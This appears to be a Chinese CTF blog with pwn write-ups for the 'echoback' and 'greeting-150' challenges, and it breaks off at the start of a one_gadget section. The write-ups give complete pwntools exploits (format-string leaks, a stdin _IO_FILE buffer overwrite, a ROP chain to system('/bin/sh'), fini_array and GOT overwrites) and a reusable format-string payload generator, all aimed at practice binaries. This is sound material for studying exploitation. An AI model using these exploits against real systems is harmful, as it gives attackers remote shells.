OTHER WRITE UP FOR ME

First Post:

Last Update:

Word Count:
29.1k

Read Time:
153 min

OTHER WRITE UP FOR ME

echoback

题目来源: World of Attack & Defense

checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

vul

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall sub_B80(_BYTE *a1)
{
size_t nbytes; // [rsp+1Ch] [rbp-14h] long int
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
memset((char *)&nbytes + 4, 0, 8uLL);
printf("length:", 0LL);
_isoc99_scanf("%d", &nbytes);
getchar();
if ( (nbytes & 0x80000000) != 0LL || (signed int)nbytes > 6 )
LODWORD(nbytes) = 7; //limits
read(0, (char *)&nbytes + 4, (unsigned int)nbytes);
if ( *a1 )
printf("%s say:", a1);
else
printf("anonymous say:", (char *)&nbytes + 4);
printf((const char *)&nbytes + 4); // fmt vum
return __readfsqword(0x28u) ^ v3;
}

明显的字符串漏洞,但是最多只允许输入7个字符.

思路

通过利用字符串漏洞泄漏libc基地址, elf基地址, 修改 _IO_FILE struct,然后打入stack 中的 &main ret构造rop链

泄漏libc基址

传入 %p调试到vfprintf函数堆栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
0x7ffe31470828 —▸ 0x7ffe3146e250 ◂— 'anonymous say:'
07:0038│ 0x7ffe31470830 —▸ 0x7f81d9132780 (_IO_stdfile_1_lock) ◂— 0x0
08:0040│ 0x7ffe31470838 —▸ 0x7f81d8e632c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
09:0048│ 0x7ffe31470840 —▸ 0x7f81d9339700 ◂— 0x7f81d9339700
0a:0050│ 0x7ffe31470848 ◂— 0xe
0b:0058│ 0x7ffe31470850 ◂— 0x6562b026
0c:0060│ 0x7ffe31470858 —▸ 0x7f81d91316a3 (_IO_2_1_stdout_+131) ◂— 0x132780000000000a
... ...
28:0140│ 0x7ffe31470938 ◂— 0x746df13682d53b00
29:0148│ 0x7ffe31470940 —▸ 0x562293252d30 ◂— push r15
2a:0150│ 0x7ffe31470948 —▸ 0x7f81d8d8c830 (__libc_start_main+240) ◂— mov edi, eax
2b:0158│ 0x7ffe31470950 —▸ 0x7ffe31470a28 —▸ 0x7ffe31470fb8

通过调试, 传入 %p打印时, 打印出0x7ffe31470830, 而 __libc_start_main+240 的地址在0x7ffe31470948, 调试不断加1进行核对地址,最终在 %19$p打印出libc_start_main + 240的地址.然后通过计算即可获取libc基址

1
2
3
4
5
6
7
8
9
10
11
# leaking libc base
sla('>>', str(2))
sla(':', str(7))
p = '%19$p'
sl(p)
ru('0x')
libc_start_main = int(r(12),16) - 240
libc_base = libc_start_main - lib.sym['__libc_start_main']
li('libc_base:' + hex(libc_base))
sys_addr = libc_base + lib.sym['system']
sh_addr = libc_base + lib.search('/bin/sh').next()

泄漏elf基址

传入 %14$p查看printf函数中堆栈分布如下

1
2
3
4
5
6
7
8
05:0028│ rdi  0x7ffc6b02ca80 ◂— 0xa7024343125 /* '%14$p\n' */
06:0030│ 0x7ffc6b02ca88 ◂— 0xb8b63dff1d802400
07:0038│ rbp 0x7ffc6b02ca90 —▸ 0x7ffc6b02cac0 —▸ 0x55f4515b5d30 ◂— push r15
08:0040│ 0x7ffc6b02ca98 —▸ 0x55f4515b5d08 ◂— jmp 0x55f4515b5d0b
09:0048│ 0x7ffc6b02caa0 —▸ 0x55f4515b5d30 ◂— push r15
0a:0050│ 0x7ffc6b02caa8 ◂— 0x200000000
0b:0058│ 0x7ffc6b02cab0 ◂— 0x0
0c:0060│ 0x7ffc6b02cab8 ◂— 0xb8b63dff1d802400

打印出0x55f4515b5d30 ◂— push r15, 而这个位置刚好在init函数的起始位置.在文件中偏移为: 0xD30 ( push r15),这就可以计算elf的偏移了.然后获取main, pop rid的地址.

1
2
3
4
5
6
7
8
9
10
# leaking elf base
sla('>>', str(2))
sla(':', str(7))
p = '%14$p'
sl(p)
ru('0x')
elf_base = int(r(12),16) - 0xD30
main_addr = elf_base + 0xC6C
pop_rdi_ret = elf_base + 0xd93
li('elf_base:' + hex(elf_base))

泄漏堆栈中main ret地址

下图为printf函数中的堆栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> stack 100
00:0000│ rsp 0x7fffb8e184a8 —▸ 0x55ff36954c55 ◂— nop
01:0008│ 0x7fffb8e184b0 —▸ 0x55ff36954ef8 ◂— xor ebp, dword ptr [rsi] /* '3. exit' */
02:0010│ 0x7fffb8e184b8 —▸ 0x7fffb8e18500 ◂— 0x0
03:0018│ 0x7fffb8e184c0 ◂— 0xa32 /* '2\n' */
04:0020│ 0x7fffb8e184c8 ◂— 0x7134b9900
05:0028│ rdi 0x7fffb8e184d0 ◂— 0xa7024353125 /* '%15$p\n' */
06:0030│ 0x7fffb8e184d8 ◂— 0xc7f0a378134b9900
07:0038│ rbp 0x7fffb8e184e0 —▸ 0x7fffb8e18510 #泄漏该地址, 获取main ret
08:0040│ 0x7fffb8e184e8 —▸ 0x55ff36954d08 ◂— jmp 0x55ff36954d0b
09:0048│ 0x7fffb8e184f0 —▸ 0x55ff36954d30 ◂— push r15
0a:0050│ 0x7fffb8e184f8 ◂— 0x200000000
0b:0058│ 0x7fffb8e18500 ◂— 0x0
0c:0060│ 0x7fffb8e18508 ◂— 0xc7f0a378134b9900
0d:0068│ 0x7fffb8e18510 —▸ 0x55ff36954d30 ◂— push r15 # main rbp
0e:0070│ 0x7fffb8e18518 —▸ 0x7fa5b79af830 (__libc_start_main+240) #mian的返回地址

以上0x7fffb8e18518就是我们要获取的main ret的堆栈地址, 在这里不能直接泄漏堆栈中的main ret地址,但可以通过泄漏 rbp地址来+8即可获取man ret.

1
2
3
4
5
6
7
#leaking main ret in stack
sla('>>', str(2))
sla(':', str(7))
p = '%12$p'
sl(p)
ru('0x')
main_ret = int(r(12),16) + 0x8

修改_IO_FILE将数据打入stack

目前,准备工作基本完毕, 现在就是要靠修改main ret地址来劫持程序流, 但是我们想构造payload,往main_ret处写数据,但是光一个p64(main_ret)包装就占了8个字符,而我们最多允许输入7个字符,setName,它不是白放那里的,它有着重要的作用.

它也可以接受7个字符,我们可以把main_ret存入a1中,虽然只允许7个字符,p64()有8字节,但是末尾一般都是0,由于是低位存储,也就是数据的前导0被舍弃,没有影响,除非那个数据8字节没有前导0

然后,发现,%16$p输出的就是a1的数据,于是,可以先setName(p64(addr)),然后利用%16$n来对addr处写数据然而,我们这样来直接写main_ret处的数据,还是不行,因为我们构造的payload始终长度都会大于7,于是,就需要用到一个新知识了,为了绕过7个字符的限制,利用printf漏洞先去攻击scanf内部结构,然后就可以直接利用scanf往目标处输入数据,这就需要去了解scanf的源码.

_IO_FILE struct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/*
_IO_FILE *stdin = (FILE *) &_IO_2_1_stdin_;
_IO_FILE *stdout = (FILE *) &_IO_2_1_stdout_;
_IO_FILE *stderr = (FILE *) &_IO_2_1_stderr_;
*/
/* The tag name of this struct is _IO_FILE to preserve historic
C++ mangled names for functions taking FILE* arguments.
That name should not be used in new code. */
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */

/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */

/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */

/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

_IO_new_file_underflow

看看文件的读取过程**_IO_new_file_underflow** 这个函数最终调用了_IO_SYSREAD****系统调用来读取文件。在这之前,它做了一些处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
int _IO_new_file_underflow (FILE *fp)  
{
ssize_t count;

/* C99 requires EOF to be "sticky". */
if (fp->_flags & _IO_EOF_SEEN)
return EOF;

if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
if (fp->_IO_read_ptr < fp->_IO_read_end) //判断是否已经读完
return *(unsigned char *) fp->_IO_read_ptr;

if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}

/* FIXME This can/should be moved to genops ?? */
if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
{
/* We used to flush all line-buffered stream. This really isn't
required by any standard. My recollection is that
traditional Unix systems did this for stdout. stderr better
not be line buffered. So we do just that here
explicitly. --drepper */
_IO_acquire_lock (_IO_stdout);

if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
== (_IO_LINKED | _IO_LINE_BUF))
_IO_OVERFLOW (_IO_stdout, EOF);

_IO_release_lock (_IO_stdout);
}

_IO_switch_to_get_mode (fp);

/* This is very tricky. We have to adjust those
pointers before we call _IO_SYSREAD () since
we may longjump () out while waiting for
input. Those pointers may be screwed up. H.J. */
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base; //重新设置新的 _IO_buf_base
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;
//--------------------------------------
count = _IO_SYSREAD (fp, fp->_IO_buf_base, //系统向_IO_buf_base指向的缓冲区写入读取的数据
fp->_IO_buf_end - fp->_IO_buf_base);//写入长度:fp->_IO_buf_end - fp->_IO_buf_base

if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN, count = 0;
}
fp->_IO_read_end += count; //使 _IO_read_end指针向后移动
if (count == 0)
{
/* If a stream is read to EOF, the calling application may switch active
handles. As a result, our offset cache would no longer be valid, so
unset it. */
fp->_offset = _IO_pos_BAD;
return EOF;
}
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
return *(unsigned char *) fp->_IO_read_ptr;
}

利用

IO_SYSREAD系统调用,向fp->_IO_buf_base处写入读取的数据,并且长度为 fp->_IO_buf_end - fp->_IO_buf_base

要是能够修改_IO_buf_base和_IO_buf_end 那么就可以实现任意位置和想要的长度

首先需要定位到_IO_2_1_stdin_结构体在内存中的位置,然后再定位到_IO_buf_base 的位置,_IO_buf_base位于结构体中的第8个,所以,它的_IO_buf_base_addr = _IO_buf_base + 0x8 * 7 (注意结构体对齐,int占用内存8字节,所以为 0x8 * 7 而不是 0x8 * 6 + 4)

1
2
3
4
#leaking_IO_buf_base
_IO_2_1_stdin_ = libc_base + lib.sym['_IO_2_1_stdin_']
_IO_buf_base = _IO_2_1_stdin_ + 0x8 * 7
li('_IO_buf_base' + hex(_IO_buf_base))

来看看_IO_buf_base的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x7ffb6a2b08e0 <_IO_2_1_stdin_>:	0x00000000fbad208b	0x00007ffb6a2b0964
0x7ffb6a2b08f0 <_IO_2_1_stdin_+16>: 0x00007ffb6a2b0964 0x00007ffb6a2b0963
0x7ffb6a2b0900 <_IO_2_1_stdin_+32>: 0x00007ffb6a2b0963 0x00007ffb6a2b0963
0x7ffb6a2b0910 <_IO_2_1_stdin_+48>: 0x00007ffb6a2b0963 0x00007ffb6a2b0963 //IO_buf_base
0x7ffb6a2b0920 <_IO_2_1_stdin_+64>: 0x00007ffb6a2b0964 0x0000000000000000 //IO_buf_end
0x7ffb6a2b0930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7ffb6a2b0940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7ffb6a2b0950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff
0x7ffb6a2b0960 <_IO_2_1_stdin_+128>: 0x000000000a000000 0x00007ffb6a2b2790
0x7ffb6a2b0970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffb6a2b0980 <_IO_2_1_stdin_+160>: 0x00007ffb6a2b09c0 0x0000000000000000
0x7ffb6a2b0990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7ffb6a2b09a0 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000
0x7ffb6a2b09b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffb6a2af6e0

先是stdin的位置,当前位于0x7ffb6a2b08e0

然后是_IO_buf_base,它位于0x7ffb6a2b08e0 + 0x8 * 7 = 0x7ffb6a2b0918 ,它的值为0x00007ffb6a2b0963 , 并且要知道,它的值相对_IO_2_1_stdin_的地址总是不变的,假如我们把_IO_buf_base的低一字节覆盖为0,那么他就变成了0x00007ffb6a2b0900 ,也就是0x7ffb6a2b08e0 + 0x8 * 4处,跑到了结构体内部去了,是结构体中的第5个数据处,也是_IO_write_base处,并且由于_IO_buf_end没变,那么我们可以从0x00007ffb6a2b0900处向后输入0x64-0x00 = 0x64个字符,那么就能把_IO_buf_base和_IO_buf_end都覆盖成关键地址,就能绕过7个字符的输入限制,且可以实现write anything anywhere

先来覆盖_IO_buf_base的低1字节为0

1
2
3
4
5
6
7
8
#modify _IO_buf_base
sla('>>', str(1))
p = p64(_IO_buf_base)
sl(p)
sla('>>', str(2))
sla(':', str(7))
p = '%16$hhn' #不打印,即个数为0
sl(p)

接下来,就可以覆盖结构体里的一些数据了

对于_IO_buf_base之前的数据(_IO_write_base_IO_write_ptr, _IO_write_end),最好原样的放回,不然不知道会出现什么问题,经过调试,发现它们的值都是0x83 + _IO_2_1_stdin_addr,然后接下来,覆盖_IO_buf_base和_IO_buf_end,将它设置为堆栈中的&main ret, 然后即可实现写入数据时,就会向堆栈中写入数据,前提还需满足一些条件.

于是,payload

1
2
3
4
5
6
#build payload to modify _IO_2_1_stdin struct
p = p64(_IO_2_1_stdin_ + 0x83) * 3
p += p64(main_ret) + p64(main_ret + 0x8 * 3)
sla('>>', str(2))
sa(':', p) #length:
sl('')

在length:后面发送payload, 因为这个地方用到了scanf

现在,得绕过一个判断,这样调用scanf 输入数据时,才会往缓冲区写入输入的数据

1
2
if (fp->_IO_read_ptr < fp->_IO_read_end)  //判断是否已经读完, 想要能写入缓冲数据,就得把让ptr >= end,这样才能使新的数据重新读入到缓冲区里 
return *(unsigned char *) fp->_IO_read_ptr;

之前,覆盖结构体数据时,后面执行了这一步,使得 fp->_IO_read_end += count 相当于fp->_IO_read_end += len(p)

1
2
3
4
5
6
fp->_IO_read_end = fp->_IO_buf_base;  //重新设置新的 _IO_buf_base
.... ....
count = _IO_SYSREAD (fp, fp->_IO_buf_base, //系统向_IO_buf_base指向的缓冲区写入读取的数据
fp->_IO_buf_end - fp->_IO_buf_base);//写入长度:fp->_IO_buf_end - fp->_IO_buf_base
.... ....
fp->_IO_read_end += count; //使 _IO_read_end指针向后移动

下面为输入之前的_IO_2_1_stdin_

1
2
3
4
5
6
0x7fa95326b8e0 <_IO_2_1_stdin_>:	0x00000000fbad208b	0x00007fa95326b901 //_IO_read_ptr
//IO_read_end
0x7fa95326b8f0 <_IO_2_1_stdin_+16>: 0x00007fa95326b928 0x00007fa95326b900
0x7fa95326b900 <_IO_2_1_stdin_+32>: 0x00007fa95326b963 0x00007fa95326b963
0x7fa95326b910 <_IO_2_1_stdin_+48>: 0x00007fa95326b963 0x00007ffddf79fbe8
0x7fa95326b920 <_IO_2_1_stdin_+64>: 0x00007ffddf79fc00 0x0000000000000000

而 getchar() 的作用是使fp->_IO_read_ptr + 1

由于在覆盖结构体后,scanf的后面有一个getchar,执行了一次,所以还需要调用len(p)-1次getchar(),使_IO_read_ptr == PIO_read_end

1
2
3
4
5
#call getchar() make fp->_IO_read_ptr == fp->_IO_read_end
for i in range(0, len(p) - 1):
sla('>>', str(2))
sla(':', ',')
sl(' ')

调用 len(p) - 1次getchar()后, IO_2_1_stdin 如下

1
2
3
4
5
6
7
8
9
pwndbg> x /40gx &_IO_2_1_stdin_
0x7f1a9a51f8e0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007f1a9a51f928 //_IO_read_ptr
//IO_read_end
0x7f1a9a51f8f0 <_IO_2_1_stdin_+16>: 0x00007f1a9a51f928 0x00007f1a9a51f900
0x7f1a9a51f900 <_IO_2_1_stdin_+32>: 0x00007f1a9a51f963 0x00007f1a9a51f963
0x7f1a9a51f910 <_IO_2_1_stdin_+48>: 0x00007f1a9a51f963 0x00007fff14080e88
0x7f1a9a51f920 <_IO_2_1_stdin_+64>: 0x00007fff14080ea0 0x0000000000000000
0x7f1a9a51f930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000

构造rop链

然后再次输入的时候,输入的数据就会在stack中了,现在就可以构造rop链.

1
2
3
4
5
#build rop chail
sla('>>', str(2))
p = p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr)
sla(':', p) #length:
sl('')

下面为输入修改后的堆栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> stack 50
00:0000│ rsp 0x7fff92ceeed8 —▸ 0x55c9b5337ad4 ◂— movzx eax, byte ptr [rbp - 0x10]
01:0008│ rsi 0x7fff92ceeee0 ◂— 0x0
02:0010│ 0x7fff92ceeee8 ◂— 0x4a74f6baf7ec8d00
03:0018│ rbp 0x7fff92ceeef0 —▸ 0x7fff92ceef00 —▸ 0x7fff92ceef30 —▸ 0x55c9b5337d30 ◂— push r15
04:0020│ 0x7fff92ceeef8 —▸ 0x55c9b5337b43 ◂— pop rbp
05:0028│ 0x7fff92ceef00 —▸ 0x7fff92ceef30 —▸ 0x55c9b5337d30 ◂— push r15
06:0030│ 0x7fff92ceef08 —▸ 0x55c9b5337ccd ◂— mov dword ptr [rbp - 0x14], eax
07:0038│ 0x7fff92ceef10 —▸ 0x55c9b5337d30 ◂— push r15
08:0040│ 0x7fff92ceef18 ◂— 0xffffffda00000001
09:0048│ 0x7fff92ceef20 —▸ 0x7f53670f8918 (_IO_2_1_stdin_+56) —▸ 0x7fff92ceef38 —▸ 0x55c9b5337d93 ◂— pop rdi
0a:0050│ 0x7fff92ceef28 ◂— 0x4a74f6baf7ec8d00
0b:0058│ 0x7fff92ceef30 —▸ 0x55c9b5337d30 ◂— push r15
0c:0060│ 0x7fff92ceef38 —▸ 0x55c9b5337d93 ◂— pop rdi //修改为pop_rdi _ret
0d:0068│ 0x7fff92ceef40 —▸ 0x7f5366ec0d57 ◂— 0x68732f6e69622f /* '/bin/sh' */
0e:0070│ 0x7fff92ceef48 —▸ 0x7f5366d79390 (system) ◂— test rdi, rdi

getshell

只需使main函数ret即可

1
2
#get shell
sla('>>', str(3))

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#!/usr/bin/env python
#-*- coding:utf-8 -*-

# Author: I0gan
# Team : D0g3

from pwn import *
#from LibcSearcher import LibcSearcher

#context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'
#context(arch = 'i386', os = 'linux', log_level='debug')
context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = "echo_back"
libFile = "./libc.so.6"

remoteIp = "111.198.29.45"
remotePort = 54180

LOCAL = 1
LIBC = 1

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
pd32 = lambda x : p32(x).decode() #python3 not surport str + bytes
pd64 = lambda x : p64(x).decode()
li = lambda x : log.info(x)
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------
def eb(length, text):
sl(text)

#--------------------------Exploit--------------------------
def exploit():

# leaking libc base
sla('>>', str(2))
sla(':', str(7))
p = '%19$p'
sl(p)
ru('0x')
libc_start_main = int(r(12),16) - 240
libc_base = libc_start_main - lib.sym['__libc_start_main']
li('libc_base:' + hex(libc_base))
sys_addr = libc_base + lib.sym['system']
sh_addr = libc_base + lib.search('/bin/sh').next()

# leaking elf base
sla('>>', str(2))
sla(':', str(7))
p = '%14$p'
sl(p)
ru('0x')
elf_base = int(r(12),16) - 0xD30
main_addr = elf_base + 0xC6C
pop_rdi_ret = elf_base + 0xd93
li('elf_base:' + hex(elf_base))

#leaking main ret in stack
sla('>>', str(2))
sla(':', str(7))
p = '%12$p'
sl(p)
ru('0x')
main_ret = int(r(12),16) + 0x8


#leaking IO_buf_base
_IO_2_1_stdin_ = libc_base + lib.sym['_IO_2_1_stdin_']
_IO_buf_base = _IO_2_1_stdin_ + 0x8 * 7
li('_IO_buf_base' + hex(_IO_buf_base))

#modify _IO_buf_base
sla('>>', str(1))
p = p64(_IO_buf_base)
sl(p)
sla('>>', str(2))
sla(':', str(7))
p = '%16$hhn'
sl(p)

#build payload to modify _IO_2_1_stdin struct
p = p64(_IO_2_1_stdin_ + 0x83) * 3
p += p64(main_ret) + p64(main_ret + 0x8 * 3)
sla('>>', str(2))
sa(':', p) #length:
sl('')

#call getchar() make fp->_IO_read_ptr == fp->_IO_read_end
for i in range(0, len(p) - 1):
sla('>>', str(2))
sla(':', ',')
sl(' ')

#build rop chail
sla('>>', str(2))
p = p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr)
sla(':', p) #length:
sl('')
#db()

#get shell
sla('>>', str(3))


def finish():
ia()
c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

if LOCAL:
exe = ELF(exeFile)
#io = exe.process()
if LIBC:
lib = ELF(libFile)
io = exe.process(env = {"LD_PRELOAD" : libFile})

else:
exe = ELF(exeFile)
io = remote(remoteIp, remotePort)
if LIBC:
lib = ELF(libFile)

exploit()
finish()

greeting-150

保护

1
2
3
4
5
Arch:     i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

漏洞

字符串漏洞

源代码

1
2
3
4
5
6
7
8
9
10
char s; // [esp+1Ch] [ebp-84h]
char v5; // [esp+5Ch] [ebp-44h]
unsigned int v6; // [esp+9Ch] [ebp-4h]

v6 = __readgsdword(0x14u);
printf("Please tell me your name... ");
if ( !getnline(&v5, 0x40) )
return puts("Don't ignore me ;( ");
sprintf(&s, "Nice to meet you, %s :)\n", &v5);
return printf(&s); #字符串漏洞

利用

由于程序中只有一个字符串漏洞, 执行字符串漏洞后结束,这时就需要覆盖fini_array为start函数进行再次执行程序同时修改strlen的got表为system plt地址.

简单介绍一下: fini_array, 在main函数前会调用.init段代码和.init_array段的函数数组中每一个函数指针。同样的,main函数结束后也会调用.fini段代码和.fini._arrary段的函数数组中的每一个函数指针

字符串漏洞设置大的值注意的地方

1
2
hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数
h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数
  1. 第一次%xc%hhn的时候,要扣掉前面摆放的address的长度。比如32位时,其前面会摆放4个地址,这个时候就是x需要减去4x4 = 16.
  2. 之后每个%xc 必需扣掉前一个写入 byte 的值总字符数才会是这个写入需要的长度。比如 第一次写入值为 90 第二个写入 120 此时应为%30c% offset$hhn
  3. 当某一次写入的值比前面写入的要小的时候,就需要整数overflow回来。比如:需要写入的一个字节,用的是hhn的时候,前面那次写入的是0x80,这次写入的是0x50,这时候就用0x50可以加上0x100(256)=0x150 (这时候因为是hhn,在截取的时候就是截取的0x50), 再减去0x80 = 0xD0(208),也就是填入%208c%offset$hhn即可

单字节覆盖常用脚本(ctf-wiki):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def fmt(prev, word, index): # prev: payload 长度,  word: 单个字符, index: 偏移地址 + i
if prev < word: #若payload长度小于单个字符的值时
result = word - prev
fmtstr = "%" + str(result) + "c" #直接写入差值,补齐
elif prev == word: #若payload长度等于单个字符的值时
result = 0 #不写
else: #若payload长度大于单个字符的值时
result = 256 + word - prev #通过单个字符溢出来打
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn" #添加自payload
return fmtstr


def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i) #32位将要覆盖的地址
else:
payload += p64(addr + i) #64位将要覆盖的地址
prev = len(payload) #获取payload长度
for i in range(4):
#传入,payload长度, 目标字节, 偏移
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload

#fmt_str(12, 4, exe.got['strlen'], exe.plt['system'])
'''
其中每个参数的含义基本如下
offset表示要覆盖的地址最初的偏移
size表示机器字长
addr表示将要覆盖的地址。
target表示我们要覆盖为的目的变量值。
'''

通过上面的介绍, 根据以上脚本写字符串漏洞原理写exp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/env python
#-*- coding:utf-8 -*-

# Author: I0gan
# Team : D0g3

from pwn import *
#from LibcSearcher import LibcSearcher

#context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'
context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = "greeting-150"
libFile = ""

remoteIp = "111.198.29.45"
remotePort = 46553

LOCAL = 0
LIBC = 0

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
pd32 = lambda x : p32(x).decode() #python3 not surport str + bytes
pd64 = lambda x : p64(x).decode()
li = lambda x : log.info(x)
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------

#--------------------------Exploit--------------------------
def exploit():
ru('... ')

strlen_got = exe.got['strlen']
# ELF Termination Funciton Talbe
# strlen_got 0x08049a54
fini_array = 0x08049934
start_addr = 0x080484F0
system_plt = 0x08048490

# 'Nice to meet you, %s:)' + str
# offset 12
offset = 12
prelen = len('Nice to meet you, ')

li('strlen_got: ' + hex(strlen_got))
li('fini_array: ' + hex(fini_array))

p = 'AA' #aliament
p += p32(strlen_got + 2)
p += p32(fini_array + 2)

p += p32(strlen_got)
p += p32(fini_array)
#modify highword(strlen_got)
p += '%' + str(0x0804 - 0x12 - prelen) + 'c%' + str(offset) + '$hn'
#modify highword(fini_arry_addr)
p += '%' + str(offset + 1) + '$hn'

#modify lowword(system_plt)
p += '%' + str(0x8490 - 0x804) + 'c%' + str(offset + 2) + '$hn'
#modify lowword(fini_plt)
p += '%' + str(0x84F0 - 0x8490) + 'c%' + str(offset + 3) + '$hn'

sl(p)

def finish():
ia()
c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

if LOCAL:
exe = ELF(exeFile)
if LIBC:
libc = ELF(libFile)
io = exe.process(env = {"LD_PRELOAD" : libFile})
else:
io = exe.process()


else:
exe = ELF(exeFile)
io = remote(remoteIp, remotePort)
if LIBC:
libc = ELF(libFile)

exploit()
finish()


One Gadget

one-gadget 是glibc里调用execve('/bin/sh', NULL, NULL)的一段非常有用的gadget。在我们能够控制ip(也就是pc)的时候,用one-gadget来做RCE(远程代码执行)非常方便,比如有时候我们能够做一个任意函数执行,但是做不到控制第一个参数,这样就没办法调用system("sh"),这个时候one gadget就可以搞定了

使用one_gadget工具进行获取oen_gadget

one_gadget工具安装:

github: https://github.com/david942j/one_gadget

1
2
3
sudo apt install ruby
sudo apt install gem
sudo gem install one_gadget

通过ida查看伪代码

1
2
3
4
5
6
7
8
9
10
void (*v4)(void); // [rsp+8h] [rbp-18h]
void (*v5)(void); // [rsp+10h] [rbp-10h]
